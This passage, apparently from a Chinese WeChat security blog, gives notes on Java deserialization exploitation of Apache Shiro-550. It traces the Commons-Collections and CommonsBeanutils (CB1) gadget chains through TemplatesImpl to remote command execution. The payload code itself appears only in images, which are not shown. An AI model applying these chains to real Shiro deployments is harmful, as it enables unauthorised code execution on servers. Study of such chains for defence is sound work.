normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.1982142857142857" style="width:553.8084106445312px;height:110.9000015258789px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=408e3401&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKI8pJictxkLWIMicmiaiahPBCo6cCVwC8F1RJsBeNk3YfLhdRE6EcfVS8yw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">cc版本shiro和payload对应cc版本要一致，不然会导致</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="">static final long serialVersionUID = -4803604734341277543L;]:</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">报错</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.22321428571428573" style="width:553.8084106445312px;height:125.05999755859375px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=a440fdac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKgBoxkODDxNMnvmTHLMKPsgkqnibEqT7HFVxiccBzSzBQLZiaAAhn0U6mA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">断点打在shiro-core中</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.2785714285714286" style="width:553.8084106445312px;height:155.72999572753906px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=9081b379&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKroib2uz1XArSSK79Licu3GAa9IrTC1zrRtticSVhPC5h6tRNJhYKTHQlg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.42142857142857143" style="width:553.8084106445312px;height:235.8800048828125px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=29f6ed99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKS9icgobGcoAxkTn8K92BRPxOoI3RyWvdlxTNrsoeqZFRcwmSx9zmicbQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">可以看到调用hashmap的readobject</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.4714285714285714" style="width:553.8084106445312px;height:264.0899963378906px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=b0f7ebd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKjK9oBRsTUnCHJJUC1vwT32cibZZAv0bJ7B0F89gILvYmavggJWVbpgg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">接着调用对key做hash到调用key的hashcode，到调用tidemap的hashcode</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.25892857142857145" style="width:553.8084106445312px;height:145.4199981689453px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=cbc8090d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKM1al5Oc9hjNpjm58dic3XcP0U1phNtmCCw3mbsZSdnPMlbKdBAgZ3KA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">TidemapEntry的key是TemplatesImpl对象，他的_byte[]是我们传入的恶意类的byte，他的_class是已经从_byte还原的class</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.22321428571428573" style="width:553.8084106445312px;height:124.94000244140625px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=82b3b0f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKc45JevgkBXkICwlWXib9wgWmtfqjGVleZmfaF00bzf1IRKqS3JzNTHg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.2857142857142857" style="width:553.8084106445312px;height:159.63999938964844px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=46734a63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKqIZpNlFMN2iagsa4EB6SWIqUZibY3PTxoGbN5lxXrPnLv993JcA5ZnKw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.08392857142857142" style="width:553.8084106445312px;height:47.0099983215332px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=f5e4b885&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKXaSEGibfLVNQ49NHBNCAWPMyMIdU4VRzBpydEADwKVsPH4O4PGlOI9Q%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">他的value是我们传入的lazymap的get(TemplatesImpl对象)</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.23214285714285715" style="width:553.8084106445312px;height:129.6300048828125px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=31159a03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKAYINuYJ9LHlW5MB6icBEp2QkfmyEMLocrZbFF9MNgibD6UibtOxe8NiaCA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">因为我们的lazy被transform修饰回调，也就是InvokerTransformer</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.24642857142857144" style="width:553.8084106445312px;height:137.55999755859375px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=0be96211&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKB9xZXg0YvnEM5ToGSffxOpGtZFmsfiaWGSlj1wTKzARJc6IUrG9HFXw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">所以会调用InvokerTransformer的transform方法</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.29464285714285715" style="width: 553.808px;height: 164.84px;display: inline;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=3c95a6e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKnia5TEwSLgLeEy14lEEnGsCf8GlQI0rGsQ9Lce8YFeogpTwClve1MGw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">从而调用TemplatesImpl的newTransformer方法</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.32142857142857145" style="width: 553.808px;height: 180.44px;display: inline;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=a57305b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKKpSKSDr1f5AYN71JZZ6k8CjhwgWMeEKZHVL0VsHa7MFT96Fibr7dWyw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">进而调用getTransletInstance方法，实例化_class中的内容，也就是把我们的类实例化</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img data-ratio="0.3142857142857143" style="width: 553.808px;height: 175.8px;display: inline;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=030e3498&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKdgibKRXicancAopghNeFvHW7NuAz6yiaYLZpP2CbXf7tQHtsHXK1C3eTA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">在实例化过程中会调用初始化中的代码</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.3464285714285714" style="width: 553.808px;height: 194.11px;display: inline;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=3551f8a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKNqQj8BLlZtZuicMnTYnlgMkRz5NprEXV1FrYGhXknFYBia8Rjqdf7LxA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">执行恶意命令</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Calibri;">CB1</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">PropertyUtils.getProperty 这个方法会自动去调用一个JavaBean的getter方法</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">调用TemplatesImpl利用链</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="">TemplatesImpl#getOutputProperties() -&gt; TemplatesImpl#newTransformer() -&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="">TemplatesImpl#getTransletInstance() -&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="">TemplatesImpl#defineTransletClasses() -&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="">TransletClassLoader#defineClass()</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">shiro默认带cb依赖</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">cb 在 BeanComparator 类的构造函数处，当没有显式传入 Comparator 的情况下，则默认使用 ComparableComparator，对cc有依赖</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">使用java.lang.String的CaseInsensitiveComparator显式传入Comparator ，使利用链不依赖cc，从而出现不需要额外的cc依赖，只要有shiro就能打</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;">queue添加的必须是字符串String，不然会报错</span></span></span></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cb1;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.29285714285714287" style="width: 553.808px;height: 164.16px;display: inline;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=7177a793&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKpK4HtTcIuJRukLQOWByKpmZLt2Kvkh5EXHbsQXdia6dMxB5TksGzLAA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a620e1c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKJP6NpYkKVef3iaaDeGZPyObw1jKJ0yYDlPK6jIbpfpJASmDgGiaD0uFg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ee1fbcb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKv9xxSNXwglgWYiaq4M4O7c9Q1rEibVPwa2ibxIwDOIiaCA8hMWmQmszFpw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4152c514&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKjRnVfgTVGhIoUibH7RyC6NXWgTV3kQwn94ia0zBz5jKBRQpWNy6MafZw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=06bd1ab5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKG1IX8dCJCNx9LwlicReAnVOIf1F8fLzwg2Xicccr3ouaNvMrNeYAlib7w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0fd5efc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKPSvAm2Qb3RuV2yH7p31WQBjDU2FL7tcS3suC1OTSASYiaeAhGv07wow%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0fd5efc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKPSvAm2Qb3RuV2yH7p31WQBjDU2FL7tcS3suC1OTSASYiaeAhGv07wow%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8906711b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK5aIRcibaJAqnibvWaeSxvEGWZveoiaxdQibNZerlZS1cJcXLNZ4Ixg0CoQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=014b2dda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKKjicXJFFdKX9bibIIhVUjajf5p33KX7OiaPpibIuXIcDeaTDzAuwqVT3Eg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5da41606&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKOJq2fiafyAicCGtCPaL4Vib2NxViczZhUPCQ6H7lu9V3evGyI06iafSpL5w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=40b202dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKhmdD4mtkPbzUquicVg3HHiaSJdQ3nwGqFqx5PxDfNFBV48VpaWGXLAtA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c1370921&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKt2Y1yD11BVRGvejXh85ia1Q6h3cYe3mACVuXswrPZhB4Asia3hoiaykdQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=89912ca9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKKqmExSrLeUSzwtQekDUjsheP4vYr7vKlFFSxQZibZSaLJOpmkiab5qmQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2f0d3076&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKlU9icOS2MHSaqISoic81LniadZHzEI65l8icqgPW1XzY0Nshmp925E03rA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e7831362&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKez3X4TXll5qOnGFt1VFtIXiabWKMleyzIqnEYuia1yyCpGupCcbicoOwA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6fd7a0cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKUu7IIfe9A4dGRXq3xamDHibZUiaDTgSbJrP6FClEeLchicnicIaWweB5MQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a6e10f94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKJLAQNMbicrK7M8xbQer2Mfq5iar9uDwOQ2fR8JeUOZ01icOgrNstdNT3A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d833fbfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKQ5e8GwqsnkF7Yaevn3uXhb4iamE2pavJxVDCueNoYd6dg9zj8qKia3yg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e5c55495&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKIzOOuCYhcLuYwqdKRI4JMWJugLP2Q6qIcB1becncpH95FxTiaYrVXoA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=91ba3e04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK54Muwz1EKEYUdqSKkr6WBcdzuwwrF281LXbEPjgt8ib0Jzc5BdWalSw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=408e3401&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKI8pJictxkLWIMicmiaiahPBCo6cCVwC8F1RJsBeNk3YfLhdRE6EcfVS8yw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a440fdac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKgBoxkODDxNMnvmTHLMKPsgkqnibEqT7HFVxiccBzSzBQLZiaAAhn0U6mA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9081b379&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKroib2uz1XArSSK79Licu3GAa9IrTC1zrRtticSVhPC5h6tRNJhYKTHQlg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=29f6ed99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKS9icgobGcoAxkTn8K92BRPxOoI3RyWvdlxTNrsoeqZFRcwmSx9zmicbQ%2F640%3Fwx_fmt%3Dpng"/></p>
